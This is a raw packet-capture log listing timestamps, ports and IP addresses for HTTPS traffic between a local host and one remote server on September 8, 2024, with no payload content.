Sep 8, 2024 09:53:44.819916964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.819941044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.819996119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.820018053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.820055962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.823040962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.823055983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.823111057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.823134899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.823174953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.900151014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900180101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900305986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.900331974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900379896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.900394917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900410891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900449991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.900454998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900491953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.900634050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900657892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900685072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.900690079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.900718927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.900736094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.901083946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901098013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901148081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.901155949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901189089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.901463985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901478052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901542902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.901550055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901585102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.901691914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901712894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901774883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.901781082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.901813030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.906862974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.906878948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.906954050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.906976938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.907023907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.911201000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.911221027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.911293030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.911314011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.911355972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.987087965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.987106085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.987195015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.987211943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.987369061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.987656116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.987668991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.987724066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.987729073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.987765074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988071918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988085985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988133907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988138914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988173008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988343954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988356113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988404036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988409042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988442898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988560915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988576889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988620996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988626003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988653898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988909960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988923073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.988969088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.988974094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.989006042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.994035959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.994049072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.994096994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.994102001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.994134903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.998131037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.998147011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.998198032 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:44.998202085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:44.998235941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076138020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076155901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076232910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076251030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076262951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076282978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076283932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076293945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076313972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076348066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076399088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076411009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076447964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076452971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076488972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076620102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076633930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076680899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076684952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076693058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076710939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076715946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076721907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076751947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076780081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076862097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076874971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076919079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.076922894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.076956034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.081199884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.081212997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.081281900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.081285954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.081326962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.085139036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.085151911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.085197926 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.085202932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.085251093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.161298990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161322117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161370039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.161377907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161410093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.161453009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161467075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161499977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.161504984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161525965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.161551952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.161883116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161895990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161938906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.161942959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.161974907 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.162321091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.162337065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.162378073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.162381887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.162410021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.162580013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.162591934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.162633896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.162637949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.162667990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.162870884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.163028955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.163042068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.163069963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.163074017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.163119078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.168612957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.168627024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.168688059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.168693066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.168730974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.172193050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.172204971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.172276974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.172281027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.172413111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.249443054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.249469995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.249500990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.249507904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.249541044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.249716043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.249730110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.249754906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.249762058 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.249795914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.249821901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.249979019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.249994040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250017881 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.250021935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250051975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.250453949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250469923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250504017 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.250509024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250518084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250536919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.250536919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.250544071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250557899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.250571966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.250596046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.251121044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.251137018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.251171112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.251174927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.251199007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.251213074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.255647898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.255664110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.255686998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.255691051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.255722046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.259147882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.259161949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.259203911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.259208918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.259239912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.336350918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.336374044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.336530924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.336539030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.336580992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.336644888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.336658001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.336685896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.336689949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.336726904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.337039948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337058067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337111950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.337116003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337146997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.337356091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337369919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337414980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.337419033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337454081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.337658882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337671995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337713957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.337718010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.337752104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.338074923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.338089943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.338133097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.338138103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.338171005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.342808008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.342819929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.342870951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.342875004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.342909098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.346107006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.346120119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.346164942 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.346168995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.346201897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.423388004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.423403978 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.423576117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.423587084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.423626900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.423649073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.423661947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.423703909 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.423708916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.423739910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.423974991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.423988104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424036026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.424041033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424074888 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.424487114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424499989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424541950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.424546957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424586058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.424802065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424814939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424863100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.424866915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.424900055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.425113916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.425127029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.425173044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.425177097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.425209045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.429871082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.429883957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.429929972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.429934025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.429968119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.433085918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.433098078 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.433141947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.433146954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.433172941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.510700941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.510719061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.510910034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.510917902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.510927916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.510951042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.510958910 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.510963917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511007071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.511383057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511395931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511451006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.511456966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511481047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511490107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.511493921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511506081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511522055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.511527061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.511552095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.511569977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.511992931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.512006044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.512049913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.512053967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.512090921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.512423038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.512434959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.512485027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.512490988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.512523890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.516853094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.516868114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.516911983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.516916037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:45.516949892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:45.520428896 CEST	443	49710	185.93.1.250	192.168.2.6
